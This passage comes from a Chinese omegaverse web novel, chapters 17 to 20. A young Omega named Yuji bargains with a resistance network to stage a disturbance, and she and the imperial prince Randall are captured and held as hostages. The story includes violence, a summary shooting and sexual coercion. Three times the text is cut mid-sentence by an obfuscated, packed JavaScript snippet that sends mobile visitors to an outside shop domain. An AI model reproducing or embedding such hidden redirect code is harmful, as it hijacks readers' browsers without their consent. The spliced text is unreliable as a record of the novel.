兰德尔盯着尤纪,缓慢地点了点头。 尤纪道:“那您要注意点了,我很快会回来的。兰德尔殿下,平民街很乱的,听说还有反抗军的人藏在这里……” 尤纪有点压不住嘴角的笑容,她尽力让自己看起来不那么幸灾乐祸。 “您也不想让反抗军知道,帝国三殿下藏身在平民街吧?” 兰德尔的眼神逐渐涣散,松开了握着衣角的手。 在他再次陷入昏迷之前,尤纪听到了他最后的一句话。 “桑雷斯他……真的不行吗?” 尤纪:? 她搞不懂为什么兰德尔要在这个时候问这种话。 可能对于他们帝国男性来说,行不行大概真的很重要? 尤纪用手在他的眼睛上晃了晃,确定他真的昏迷不醒后,从他的衣服口袋里拿出了车钥匙。 她打开衣柜的抽屉夹层,拿出了藏在里面的那枚反抗军的徽章。 做完这一切之后,她拔掉电话线,戴上兜帽下了楼。 下楼后的第一件事,就是打开车门,摇下了驾驶座的车窗。 那之后,她忘记关窗,还把车钥匙“忘”在了车上,等着车辆被路过的窃贼偷盗。 第二件事,是去往平民街尽头旺吉太太家的面包店。 旺吉太太是个圆润的中年女人,有着红色的头发和碧绿的眼。 丈夫去世后,她独自经营着面包店,女儿则嫁去了联邦。 或许是因为制作面包的原因,她的身上总带着烘培店里的奶油甜香。 自蒂亚国沦为占领区、且对新人类实施种族隔离法令以来,旺吉太太是为数不多的对新人类保持着善意的人类。 别的面包店会以高于10%的价格对新人类出售面包,但旺吉太太不会,她都是明码标价,从不歧视。 尤纪以前以为旺吉太太是个好人,直到她看到了连弛那个记载着黑市交易的账本。 旺吉太太是这个账本上她唯一认识的人。 她向连弛购买了大量的酒精、绷带、药品和抑制贴片。 —— 面包店内还有好几个顾客,尤纪耐心地等待着。 旺吉用防油纸包装好了面包递给顾客,抬头后看到是尤纪,突然一愣。 她仿佛预感到了尤纪为什么来找她,遗憾地对还要来买面包的客人说“今天的面包买完了,明天再来吧”。 面包店的大门关闭前,旺吉招呼尤纪进来。 那个小姑娘穿着件长袖的娃娃领连衣裙,外头套着个大红色的披风,一张脸藏在兜帽下,白得像纸。 有风吹过来,掀起她的裙摆,旺吉看到她膝盖上的乌青。 好几天不见,她似乎比以前更瘦了些。 “尤纪,你哥哥的事情我听说了……”旺吉斟酌着开口,递给她一个刚出炉的,热腾腾的面包。 “是帝国的人带走的,听说是涉嫌爆炸案……你这几天去哪里了?” 旺吉自以为地关心着她,脸上摆出熟稔的笑,“坐吧,有什么我可以帮忙的吗?” 尤纪看着旺吉太太脸上的笑容。 她像个对谁都和和气气的生意人那样,也对尤纪很热情。 事实上,尤纪与旺吉太太并不熟络,在大街上碰到了,也只会打个招呼。 尤纪连旺吉面包店也没去过几次,但旺吉却一眼就认出了她。 这让尤纪更加确信了自己心中的猜测。 她坐在砖砌烤炉前唯一的一把木椅子上,对着正在翻面包的旺吉太太开口: “旺吉太太,我有个朋友受伤了需要包扎,您这里有酒精、绷带和消炎药吗?” 旺吉翻着面包的动作一顿。她回过头,恰好对上尤纪的眼睛,心里一跳。 “只有一些,你要多少?” 尤纪把账本上的数字背了出来。翻看账本的时候,因为旺吉太太的名字太熟悉,她就把她买的东西都记住了。 “一百瓶酒精,三百卷绷带,五十瓶磺胺药。” 旺吉太太的面色变了。 她紧紧地皱着眉,眼神骤然变得严肃起来。 过了会儿,她紧皱的眉毛舒展开来,整个人背靠着墙壁坐下来,圆润的腹部在棉质围裙上撑起褶子。 “我没有那么多,我这里只有一瓶酒精,半卷绷带。磺胺药没有。” 尤纪拿出那枚反抗军的徽章。 “4月15日上午,一些为反抗军提供帮助的人被押送到刑场,当众执行了绞刑。他们游街的时候,有一个囚犯抓住了我的脚,往袜子里面塞了这个东西。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217546|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她隔空将徽章抛给一脸愁容的旺吉太太。 她觉得此刻的自己像极了小人得势,正在逼迫一个看起来很善良的老实人。 “旺吉太太,你知不知道这是什么东西?我用放大镜看了,这个徽章外面是正三角形,中央有一朵红色鸢尾花。” 旺吉捏着徽章,没有说话。 尤纪盯着她,也没有再开口说什么。 二人的对峙并没有持续多久,旺吉太太率先打破了沉默。 “这不是徽章,这是一枚袖扣。这枚袖扣的主人,是反抗军的前首领所有。” “但他已经死了,”尤纪接过话,又发出了疑问,“所以,那个囚犯为什么要给我这个?” 那个手掌光秃秃的囚犯应该是从哪里得到了这枚袖扣,然后藏在自己的肉里。 在游行的时候,他是随手抓了一个围观的人吗? 或者他认识自己? 他是认识自己,还是认识连弛?又想传递给她什么消息呢? 这个问题困扰尤纪很多天了,她百思不得其解。 旺吉太太叹了一口气。 她用一种无奈的表情看向眼前的少女,半晌后,才温和地开口。 “袖扣本身是没有用的,或许他是想传递一种反抗的信念吧。” 尤纪“啊”了一声。“只是如此?” 旺吉太太扭头看向燃烧着的炉火,“反抗军他们,一向如此……” 她的话像是一种叹息,又像是一种赞美。 她说的是“他们”,而非是“我们”。 尤纪沉默着,看着旺吉太太双手撑着地面爬起来,用铁夹翻动着烤炉上的面包。 有炉灰从烤炉里飞出来,沾到旺吉太太红色的头发上。 等她把烤炉上的面包都翻完之后,她的脸上也沾上了一层灰。 熊熊燃烧的炉火烤得整个屋子都暖烘烘的,尤纪解开披风,放在椅子的靠背上。 她直视着旺吉太太的眼睛。 “旺吉太太,我有一个消息想要给他们。”她轻声开口,“您能帮我传递一下吗?” 就算旺吉太太不是反抗军的一员,她也一定有方式联络到他们。 旺吉太太没说话。 她在水桶里洗了手,又用围裙擦干水分,才在尤纪面前蹲下来。 她略带歉意地告诉尤纪:“抱歉,这是要上绞刑架的事情,我不能再……” 旺吉太太的话还没有说完,尤纪就打断了她。 “我知道帝国特殊监狱的位置。” 她的眼睛里映出了烤炉里熊熊燃烧的火光,“在第三街区,我今天刚从那里回来,连弛也关在那里。” 旺吉的面色变了。 “你怎么知道的?你……”她的呼吸急促起来,“你为什么要这么做?” 她红色的卷发微微晃动着,和烈火一个颜色。 尤纪盯着旺吉太太碧绿色的眼睛。 她想起安德烈也有一双绿色的眼睛,像是平静的湖面。 “我还知道特殊监狱有一条地下密道,如果需要的话,我可以画一张地图给他们。” “你要什么?”旺吉沉声道。她并不相信尤纪会平白无故地传递这个消息,她一定有需要交换的东西。 尤纪毫不迟疑:“我需要反抗军在平民街制造一场混乱,就在今天,越快越好。” 18. 一场混乱 一开始,瑞利只是听从兰德尔殿下的命令,拦住安德烈校尉,方便抢夺那辆完好的轿车。 但他们谁也没有想到,二人你来我往、拳脚交加的时候,安德烈殿下居然开着车走了。 安德烈是率先停手的那个,他比了一个停止的动作,朝着车辆的方向追了几步,最终骂了一句脏话。 瑞利很惊讶。 他与安德烈同样毕业于帝国军事学院,安德烈比他大上三届。 瑞利对这位哈耶克家族的贵族少爷有所耳闻——传闻他成绩优异,家境显赫,待人更是彬彬有礼,不论是平民还是贵族,他都一视同仁。 在学院的格斗术比赛中,瑞利也与他有过几次交手。 那时候安德烈与传言中并无差别,是个非常讲究礼仪的、品德高尚的人。 但瑞利从来不知道,这位礼貌的贵族少爷居然会骂脏话。 “好了,安德烈校尉,”瑞利将夺来的手-枪还给了安德烈,摊开双手,“只是一辆车而已,兰德尔殿下应该是回总督署了,不必担心。” “会出事的。”安德烈喃喃道。 看着安德烈紧皱的眉毛,瑞利倒有些惊疑不定了。 “这车上还有其他的乘客吗?或者说,蒂亚区的治安状况并不如汇报中的乐观?” 安德烈深吸一口气。 他隐晦地告诉自己的学弟,车上的乘客是总督的客人,但不巧的是,那位客人曾经与兰德尔殿下闹过不愉快。 瑞利渐渐瞪大了眼睛。 他十分清楚兰德尔殿下的性格——得罪过他下的人,很少能活到第二天。 “如果这样……那这位乘客……” “有生命危险。”安德烈接过话。 “如果这样的话,大事就不妙了。” 二人相对,一时间沉默无言。 正在修车的安洛过来汇报,说车子的火花塞孔有水。 “点开点火线圈中央的高压线,用干布堵住塞孔,启动车辆,”安德烈一边走,一边教着安洛修车的方法,“车辆启动后,会有水从火花塞孔中喷出,重复几次。” 安洛点点头,飞快地回到了车头。 安德烈叫上瑞利帮忙。 “这条路是通往特殊监狱的唯一道路,除非有任务,每天只安排了两次巡逻,”他看了手表上的时钟,又说,“下次巡逻是两个小时之后。我们要抓紧时间修车了。” 瑞利对此并不认同。 安德烈担心车上的乘客,瑞利担心的却是兰德尔殿下。 毕竟,兰德尔殿下有伤在身,打架的时候绝对不占优势。 “我们应该立刻通知最近的军队,人越多越好。” 说完,他就拔-出-手-枪,要朝天鸣枪示警。 安德烈立即阻止了他,沉声警告:“车上的乘客身份特殊,绝不能对外公开!” 瑞利急道:“兰德尔殿下有伤在身!” 安德烈没有再争辩什么。 雨渐地小了,雨水流进他的脖子里。 他整个人像是从水中捞出来一般,衣服上全都是打架时候溅上的泥点。 隔着雨幕,安德烈目光严厉,缓缓拔-出了别在后腰上的手-枪。 他将枪口对准了自己的战友。 瑞利难以置信地看着安德烈。 “哈耶克校尉!你认为总督的客人比兰德尔殿下的生命更加重要?!” 安德烈眼皮一跳。瑞利的话像是一柄利刃,撕扯开了什么东西。 他纠正了瑞利这个荒谬的比较。 “瑞利,这二者无法相比。兰德尔殿下来蒂亚区并未对外公开,出于对殿下的安危考虑,寻人也应当秘密进行……毕竟,蒂亚区还有反抗军残党的存在。” 他们僵持了一会儿,瑞利败下阵来。 正当此时,“半罐子修车师傅”安洛小心翼翼地走过来,打断他们。 “报告安德烈校尉、瑞利校尉,车修好了。” 这个好消息让所有人都松了一口气。 距离兰德尔开车离开已经过去了四十分钟。 安德烈当机立断,立即驱车去特殊监狱,借用了特殊监狱的电话。 他立即告知总督,兰德尔带着尤纪驱车离开不知所踪的消息。 “总督阁下,我失职了,”安德烈在电话里非常深刻地反省了自己的错误,并提出了弥补的办法,“我已经通知宪兵队,要求在蒂亚中心区寻人。” 电话那头沉默了很久,久到安德烈以为电话已经挂断。 听筒内终于传来了声音。 “做得不错。还有,兰德尔失踪的事情,不要让驻防军知道。” 桑雷斯一个字都没有提尤纪。 正当安德烈以为尤纪要被放弃了的时候,电话那端的总督又开了口:“寻人范围扩大蒂亚中心区外围地带,包括平民街和苏堂路。” 他的声音有些急躁,安德烈似乎明白了什么。 “收到。”他挂断了电话。 挂断电话后,安德烈找到安洛,平静地开了一枪,正中这位驻防军下士的眉心。 随后,他让典狱长羁押了瑞利。 —— 尤纪拿着外伤药品回到家中的时候,兰德尔还没醒。 她拿棉花球蘸了酒精,用力地在伤口边缘擦拭,听到兰德尔发出了一声颤音。 尤纪难以形容这种颤音,她有一瞬间觉得床上躺着的是个女人。 “兰德尔殿下,”即使兰德尔闭着眼睛,尤纪还是假模假样地朝他晃了晃手里的东西,“我买来了酒精和药品,现在要重新帮您缝合伤口。” 尤纪拆掉兰德尔伤口处崩裂的缝线,在翻卷的红色皮肉处撒了磺胺粉,又用在旺吉太太那里学到的方法,歪歪扭扭地将伤口缝合了起来。 尤纪从来都不知道这个身材丰满的面包店店主居然对治疗外伤非常熟悉。 她对旺吉太太与反抗军的关系有了一些模糊的猜测。 兰德尔在昏迷中喊出了一些呓语,有时候他喊了哥哥,有时候他喊的是桑雷斯。 他的语气就像个撒娇的孩童。那个名字让尤纪听得恶心,只好又扇了他一个巴掌,让他闭嘴。 打完这个巴掌后,尤纪仿佛大梦初醒一般,看着自己的手掌愣住了。 醒过来的兰德尔也愣住了。 “你在干什么?尤纪,你对我做了什么?!”兰德尔大声喊起来,“我要杀了你!” 尤纪收敛了心虚的表情,把一个用防油纸包着的面包递过去,奇怪地看向他:“你伤口的缝线裂开了,我帮你缝合伤口而已。殿下,你是做了什么噩梦吗?” 兰德尔没有接面包,他惊疑不定地看向尤纪。 尤纪装作什么都没有发生一样,打开了收音机。 742-89频道正放着那首帝国语唱的禁歌,尤纪只听了五秒钟就换了下一个频道。 这个违规频道竟然还存在?帝国的通讯技术真令尤纪不敢恭维。 下一个频道是蒂亚语的新闻频道,兰德尔听不懂,强烈要求尤纪换回来。 但尤纪不想在他面前放禁歌。 他们就收音机听哪个频道的问题闹了一会儿小矛盾时,混乱发生了——比尤纪想象中要快得多。 先是平民街尽头那边出现了三三两两的枪声,有人开始喧哗起来,然后是几声并不大的爆炸声,许多人高喊什么“杀人了”“快跑”之类的话,然后就是一连串的尖叫。 尤纪皱着眉头走到窗边,看到大街上混乱一片。 有一队带着微笑面具的人躲藏在街角,正在跟前来支援的帝国军队火并。 他们正在往这栋楼赶。 ……有些不对劲。 这不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227557|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是尤纪想要的混乱。 尤纪原本的打算,是要反抗军在她居住的楼中制造一场小型混乱。 不管是起火也好,枪-击也好,其他的居民都要纷纷离开家中,留下尤纪单独演戏的机会。 反抗军为什么要制造这么大的一场混乱? 尤纪只觉不妙,却只能寄希望于反抗军遵守约定。 毕竟,现在带着兰德尔跑路,也来不及了。 “反抗军和帝国的军队正在火并,就在这条街上。”尤纪告诉兰德尔,“现在,应该立即离开平民街,免得收到流弹波及。” 兰德尔剧烈地呼吸着。 他脸色刷地一下,白得彻彻底底。 “你要把我丢在这里?丢在这种又脏又乱的鬼地方?!尤纪,你要是敢这样做,我回去第一个杀了你!” 被抛弃在贫民窟里的恐惧霎时间席卷了兰德尔,他眼睛里又浮现出惊恐,“我宁愿面对反抗军,也不要一个人待在这种地方!” “这种又脏、又乱、又旧的鬼地方!我回去一定会长虱子的!尤纪,我这辈子犯过的最大的错,就是信了你的鬼话,跟你来了你这个垃圾场一样的家!” 尤纪的面色也不好看。 都火烧眉毛了,兰德尔还在抱怨她家的贫穷。 果然不愧是桑雷斯口中的“愚蠢的弟弟”,她简直不知道他的脑子长在哪里了。 “我让你在车里等,是你非要跟着上楼的。” 尤纪没有多少时间跟他掰扯这些。 她半蹲在床前,平视着兰德尔的眼睛,握住他冰凉的手。 “反抗军来了,兰德尔殿下,他们非常危险,”她以平生都未曾有过的诚恳姿态告诉他,“我将会把您藏在衣柜里,请千万不要出声——我去引开他们,如果可以的话,我会想办法通知巡逻队的。” 兰德尔止住骂骂咧咧的嘴,他的目光陡然凝住了。 “你什么意思?” 尤纪拿出了这辈子最精湛的演技。 “他们的目标是我们这栋楼……很可能是冲着您来的。兰德尔殿下,您与总督样貌太相似了。而且,在我楼下,您非常高调地扮演了一位绅士……” 密集的枪声越来越响,邻居们“噔噔噔”跑下楼,到处互换呼唤孩子……各种各样的混乱声音,响彻耳畔。 太近了。 尤纪将染血的布料和医用药品全都堆到床底,扶着兰德尔藏在衣柜里。 她很轻地笑了一下,将连弛的工单交给兰德尔,用一种留遗言的语气告诉兰德尔: “殿下,等到反抗军到来的时候,我会将他们带去一条错误的道路……” “您会活下来的。我希望您活下来之后,帮我洗清我哥哥身上的冤屈。” 兰德尔捂着胸口的刀伤。 他的身体掩藏在层层叠叠的布料中,手中捏着工单,眼眸暗沉沉地盯着尤纪。 很快,在极其沉重的上楼声后,大门被一脚踹开。 尤纪心中忐忑不安。 她极力扮演一个胆小的蒂亚人的角色,在这群戴面具的反抗军眼前抖成筛糠。 “我知道他往哪里走了,我给你们带路——” 但这群面具人并没有理会尤纪。 他们一看到尤纪,就反剪尤纪的手臂,将她控制了起来,随后开始搜索整间屋子。 那个面具人嘲讽地笑出声来:“哈哈哈,看,我抓到一个叛徒,居然还是个新人类。” “有个帝国人,银色长发的,应该是帝国的贵族……”他们其中一个说,“应该足够交换好几个同伴了。” 尤纪一颗心坠入谷底。 反抗军没有履行约定,她太轻易相信他们了。 在面具人打开衣柜门的时候,尤纪奋力挣脱桎梏,挣扎着扑到兰德尔面前,高声尖叫起来:“安德烈校尉——快跑!” 19. 囚室 兰德尔·贝德福躺在囚室内。 囚室处于地下,不见天光,霉菌爬满了整面墙,一盏昏黄的白织灯吊在头顶,有蜘蛛在白织灯和墙角结了网。 往前数十九年,兰德尔也决计想不到,他这个从小就养尊处优的帝国三殿下有一天会在这个肮脏的地下室里,跟老鼠为伴。 尤纪从另一个角落抱来干草,示意他起身。 “躺在干草上面就没那么潮了,”她把兰德尔遨游天际的神思拉了回来,“安德烈校尉,您还有伤。” 她强调了一次他现在伪装的身份。 兰德尔斜睨着尤纪。 在她扑过来叫他“安德烈”的时候,他就突然懂了他的意思。 她居然想在反抗军面前保护他? 他是至高无上的兰德尔少将,怎么可能需要这个孱弱的新人类的保护。太不自量力了。 “我听到他们说你是Omega?”兰德尔支起身体,让尤纪把干草铺到自己身下。 他紧紧地盯着尤纪的眼睛,想从她的目光里看出闪躲或者是谎言被拆穿的愧疚。 但尤纪没有露出他意料之中的表情来。 她平静地回视着他。 “是。” “所以一直以来,都是我哥上的你。” 尤纪给了他一巴掌。 巴掌扇多了,都不再需要心理准备,只是一个想法,兰德尔的脸上就出现了一个红印。 兰德尔的头被打得偏向一边,他倒没生气,只是扼住她的手腕,他将她一把拉到自己身前。 “你是个Omega女人,为了救你的兄长,你勾-引了我哥。所以我才会在去往特殊监狱的路上遇到你。” 尤纪默认了。 “那你为什么要撒谎,说你是个Beta?” 尤纪一时间没反应过来。她闭上眼睛,深吸一口气。 兰德尔的烧已经退了,力道大的惊人,她怎么都挣不脱那铁一样的桎梏。 但就算是已经退烧,他的脑子也不像一个正常人。 她只能道:“现在是争论这个的时候吗?安德烈校尉,我们现在在反抗军的囚室里,您应该担心,如果您的身份暴露,会引起什么样的后果。” “那不重要,我哥会想办法的,”兰德尔将尤纪拉得更近了,他们鼻尖对准鼻尖,呼吸相闻,“我完全可以使用帝国第三顺位继承人的特权,将你兄长从特殊监狱里释放出来。” 尤纪抬眼看向他。 这是个非常亲密的姿势,她能看到他泛红的眼尾。 他鬓边的碎发扫到她的脸上,让她很不舒服。 “那你又要我付出什么代价?” 兰德尔沉声道:“离开我哥。” 尤纪眨了眨眼,难以相信这样的好事居然能出现在自己身上。 紧接着,他的下一句话就像惊雷一样炸在她的耳边。 “当我的情人,跟我回帝国。” “你在发什么疯?”尤纪吓得一把推开兰德尔。她的手按到了他的伤口边缘,让他闷哼一声。 “你是个人类!我是个Omega!我们之间甚至有生殖隔离!你根本不喜欢我,凭什么让我跟你去帝国?!” 兰德尔阴着脸,再次把尤纪拉到怀里。 昏暗潮湿的囚室内,尤纪看不清他的表情,只觉得他毒蛇一样的目光在自己的脸上逡巡。 “我哥也是人类,你可以当我哥的情人,凭什么不能当我的情人?” 尤纪愣住,停止了挣扎的动作。 她有些犹疑地问兰德尔:“你和你哥,真的是同父同母?” 兰德尔一脸坦然:“那当然。我父母是帝国的模范夫妻。” 尤纪迷茫起来。眼前的兰德尔无疑是个人类,她无法从他身上看出任何新人类的特征来。 那么桑雷斯为什么会是个Alpha?他的新人类基因又是从何而来? “你同意了吗?”兰德尔居然开始抚摸尤纪的脸,“我哥太吝啬了,你都献身了,他居然只让你见你兄长一面。我不一样,我比他大方得多……我不仅会放了你哥,还会把你哥也带去帝国,给他一份薪水足够多的工作……” 尤纪的表情像是见了鬼。 她用手肘击向兰德尔的肩膀,从他的怀中跳开。 “你是不是疯了?” “我没疯,疯的是我哥。”兰德尔说话的时候,也一直紧紧盯着尤纪的脸。 “我哥才是真正种族歧视的那个人,我可从来没做过什么颁布种族隔离法案的事情来,我对新人类一直很友好……所以我根本想不明白,他为什么会选你当他的情人?那甚至是他的初次!你知道男人的初次有多重要吗……” “想不明白就别想了。你先想想怎么从这个地方出去吧。”尤纪打断他。 她实在难以理解他的脑回路。 兰德尔用手捧着头,倒在一堆干草中间。 他看起来并没有身为阶下囚的自觉,反倒神态自若地盯着尤纪的脸。 “他们不是说了吗,人质交换啊。看看我哥愿意出多少反抗军的俘虏来交换我了。” 尤纪震惊地看向兰德尔。 “你会蒂亚语?”反抗军说人质交换的时候,是用的蒂亚语。 兰德尔“嗯”了一声,又说:“你如果想要,我也可以把我的初次献给你……” “那你为什么要找蒂亚语的翻译?你明明自己就可以游览蒂亚……”尤纪百思不得其解。 “你别不信,我的初次真的还在……” 尤纪还沉浸在刚刚的震惊中。 “那你为什么要因为收音机的频道跟我吵架?你明明可以听懂蒂亚语!” “虽然我交过女友,但她们都很无聊,我甚至都没有和她们接吻的欲-望……不过你不一样。之前,我在病床上压着你的时候,我就有一点兴奋了……”他的脸似乎有了一丝红晕。 尤纪完全放弃了跟兰德尔牛头不对马嘴的交流。 哪怕是在反抗军的囚室内,这个家伙也满脑子都是黄色废料,完全符合桑雷斯对他的评价——愚蠢的弟弟。 她现在只想着要怎么从这个鬼地方脱困。 先前,她想让反抗军制造一场小型混乱,然后在兰德尔面前演一场名为“以命相救”的戏,试图得到他“释放连弛”的承诺。这是解救连弛最快的方法。 而反抗军也不会因此折损人手。这已经是她能想到的最好的办法了。 而她自己则可以借机“死”在这一场混乱中,不再受到桑雷斯的控制。 当然,就算兰德尔不肯承诺也没有关系。尤纪还可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233110|197317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以通过其他的途径救出连弛。 比如投靠反抗军,策划一场劫狱。 但现在,她的计划不仅没有成功,还起到了相反的效果,把自己也赔了进去。 尤纪再一次痛恨自己的天真。 简直天真到了愚蠢的地步。 不过,这至少印证了连弛说过的那句话——反抗军非常危险。 他们不可相信。 尤纪抱着双腿,蜷缩在囚室的角落中。这时候,兰德尔突然想起了什么,走过来蹲到尤纪的面前。 “你刚才打了我一巴掌。” 尤纪不想理他,挪得离他更远了一些。 兰德尔伸出一只手,掐住了尤纪的脖子。 他简直像一个变态一样,另一只手往尤纪的后脖颈处探过去。 “所以在你家,你也打过我的脸。”这是陈述句,但尤纪可以听出来他话语里的愤怒。 “绝对不止一次。” 腺体被抚摸的感觉让尤纪如临大敌,浑身的汗毛都立了起来。 她进入了攻击状态,准备再一次攻击兰德尔的伤口,好让自己远离这个阴晴不定的变态。 “你是不是疯了!”她尖叫起来。 “我没疯,疯的是你,你竟然敢打一个……” “安德烈!这里是反抗军的地盘!”尤纪打断他脱口而出的话,免得他说出什么不该说的。 正当这个时候,囚室的大门打开了。 一个Alpha走进来,一脚踹开兰德尔,又强硬地提着尤纪的衣领,将她一步步带离囚室。 “尤纪对吧?我们首领有话要问你。” 他浑身都散发着沉香味的信息素,这让尤纪不自觉地绷紧了头皮。 尤纪觉得,在见到他们的首领之前,自己应该先注射一针抑制剂。 “有抑制剂么?” 离开囚室后,骤然见到天光,尤纪的眼睛有些不适应地眯了起来。 原来他们在一所别墅里,而刚刚的那个囚室,是别墅的地下室。 周围没有什么高大的建筑,尤纪猜想自己已经远离了平民街。 她也看清了这位Alpha。 是个男性,有一张漂亮且精致的脸,身材和桑雷斯相似,肩膀很宽,穿着一件深蓝色的长风衣。 尤纪注意到他的衬衫袖子处有一枚袖扣。那应该是前任首领给他的东西? “Omega的抑制剂?抱歉,我们这里没有。”他盯着尤纪,喉结上下滚动着,咽了一口口水。 ——眼前这个正在易感期的Alpha,居然没有用抑制贴片。 危险,相当危险。 来自身体的反应让尤纪浑身颤栗。 她强行镇定地问他:“为什么你不用抑制贴片?” “抑制贴片缺货了。大家都是Alpha,用不用都无所谓吧。或者说,你可以像你哥一样,帮我们搞到这个?” 他说话的时候,还是用那双琥珀色的眼睛盯着尤纪,像是下一秒就要将她吃掉一样。 这是个有完全性能力的Alpha,他和桑雷斯不一样,她得时刻注意不要被他标记。 而反抗军内,几乎全都是Alpha。 尤纪的脸色难看起来。 她完全不想和他们打交道。 20. 反抗军首领 蒂亚的雨季漫长而潮湿,黄昏时刻又下起了雨。 距离兰德尔·贝德福失踪已经超过了八个小时。这是一场针对帝国统治的羞辱和挑衅。 总督署内,所有知道他来了蒂亚的人都被牢牢地控制起来——如果三殿下失踪的消息传到帝国本土,对于桑雷斯·贝德福本人将会是一场巨大的政治灾难。 巡逻的宪兵又换了一批,刚调班过来的宪兵们都不知所措。 “听说总督又发了火,掏-枪打碎了头顶的吊灯。” “好像是爆炸案的事情……” “我怎么听说是反抗军?他们在平民街和驻防军交火了……” 窸窸窣窣的声音后,宪兵队长打断了他们的交谈。 “赶紧进去打扫卫生,不许再私下谈论了!” 被叫到名字的宪兵浑身一震,战战兢兢地推开了办公室的门。 办公室内一片狼藉。 桌面上的材料被扫到地上,银发的总督坐在办公室内宽大的皮革沙发内,手边放了一只点燃的雪茄。 他似乎在等待着什么。 宪兵不敢多看,低着头,以极快的速度将水晶碎片清扫完毕。 在他退出办公室前,他听见电话机响了起来。 桑雷斯几乎是没有迟疑地接起了电话。 “总督阁下,我是安德烈。”电话那端的人说。 “有消息了?”总督的声音平静到听不出情绪。 安德烈迟疑起来。他已经寻找到了他们的车辆,但是开车的却是个从帝国过来的新移民。 新移民说他以五千块的价格,从垃圾场买了这辆车。 等安德烈找到垃圾场的时候,那个垃圾场的老板已经不见了,有一个褐色头发的小孩子跑了过来,递给他们一封信。 安德烈立即拆开了这封信。 信件是用语法错误的帝国语写的,里面的内容让他一头雾水。 安德烈思索了片刻,决定如实回答:“我们收到了反抗军的一封信,信中说,我被反抗军抓住了,他们希望用十个俘虏来交换我。” “什么?” 安德烈硬着头皮读出信上的内容。 “贝德福帝国的第二顺位继承人桑雷斯·贝德福阁下: 我们已俘获贵国的贵族安德烈·冯·哈耶克校尉,限三日之内释放反抗军成员,成员名单如下:…… “如果我们的同伴不能平安回来,这位尊贵的银发贵族将会承受我们成立以来最残忍的酷刑。 反抗军敬上。” 连弛的名字位列其中。 蒂亚区总督桑雷斯·贝德福吸了一口雪茄。 —— “我们计划一场人质交换,你哥哥的名字也列入了名单中。” 眼前的女性Alpha拨动手中的打火机滚轮,一簇火苗跃起,点燃一支细长的香烟。 香烟的味道在房间中飘散,尤纪沉默着观察她。 艾琳非常漂亮,身量高挑,有一头红色的长发。 此刻的她穿了一套深褐色的作战服,两条长腿交叠着坐在椅子上。 艾琳的指甲涂成红色,缕缕烟雾中,她修长的手指骨节分明,抽烟的动作也十分优雅,像是在举办一场艺术展览。 房间的门关闭后,隔绝了那些躁动的Alpha的信息素,让尤纪有空间思考目前的状况。 谢天谢地,这位女Alpha并不在易感期。 “你是谁?”尤纪沉默许久,问出了面见反抗军首领的第一个问题。 “我叫艾琳,没有姓氏,是个平民。前任反抗军首领是我的伴侣,在她死后,我继承过了她的理想。” 艾琳缓缓诉说着她的故事。 她简直出乎尤纪意料地温柔,嗓音也很柔和,发现尤纪并不适应烟味之后,立刻掐灭了手里的香烟。 从蒂亚国陷落开始,反抗军就成立了。 反抗军前首领是个女性Beta。 前首领有着宏大的理想和极强的号召力,把侥幸从战场上存活、一盘散沙般的Alpha们召集起来,对抗着帝国的统治,直到死亡降临。 “她是被一个叛徒出卖的,那个叛徒叫麦肯·威尔森。”说到这里,艾琳突然笑了一下。 尤纪的脸色一白。她想到了麦肯·威尔森的遭遇——他遭到了反抗军无穷无尽的追杀。 那她呢?她是蒂亚总督的情人! “吓到了吗?”艾琳从座椅上走下来,温柔地问尤纪。 尤纪想点头,又想摇头。 艾琳走到尤纪身前的时候,保持着一个不远不近的距离。 这样的距离不会让尤纪有压迫感,又可以拉进两个人的交流空间。 “你们需要我做什么?”尤纪看着眼前的反抗军首领。 她闻到了她身上飘来的信息素。 是麝香百合的味道。 这味道和她一样,清淡,自然,温柔且不刺鼻。 尤纪稍微放松了警惕。 “制造一场混乱,来交换特殊监狱的地图,这是旺吉太太告诉我的。”艾琳弯下腰,平视尤纪的眼睛,“现在是你兑现承诺的时候了。” 尤纪移开了眼睛。 艾琳的虹膜是红色的,近距离看的时候,让人不敢直面。 “我说的是制造一场小型混乱,不是那么大规模的……而且你把我和安德烈校尉绑架过来了……是你们没有遵守承诺。” 尤纪低下头。 她有些心虚。 现在所有的事情都搞砸了。 她当然也可以直接告诉反抗军兰德尔的身份。 但那之后呢?兰德尔会不会供出她? 她做了总督情人的事情如果被反抗军知道,等待她的只有死亡,或者是漫长的拷问。 “你不肯给也没有关系,反正给贝德福的信已经送出去了,信中已经列出了我们所有的成员名字。” 艾琳不再与尤纪进行平等的交流,她重新回到座位上,点燃了香烟。 